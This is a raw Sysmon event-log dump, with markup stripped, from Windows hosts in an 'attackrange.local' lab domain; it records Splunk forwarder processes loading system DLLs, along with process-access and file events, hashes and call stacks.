Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000052257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000052255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.888{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000052244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000052242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 23542300x800000000000000052240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E3E7AA55394DFA2A69E23DA366162F58,SHA256=A782AB08514CE76D9521F34516AE5B4D9B4C95832BEA9A7EF08674961F7331EE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000052239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.872{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.871{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.870{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000052236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.868{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.868{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.868{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.868{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.868{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.868{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.867{7BD73061-7304-613B-6D0B-00000000F001}5948C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016695Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:20.091{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F06DBC5C3D91C74BB3CE01A253411FDB,SHA256=79C8C51EBB416C991B466E60301466179BBCE8257182971C7EA0D5DA69783D93,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000052229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.472{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 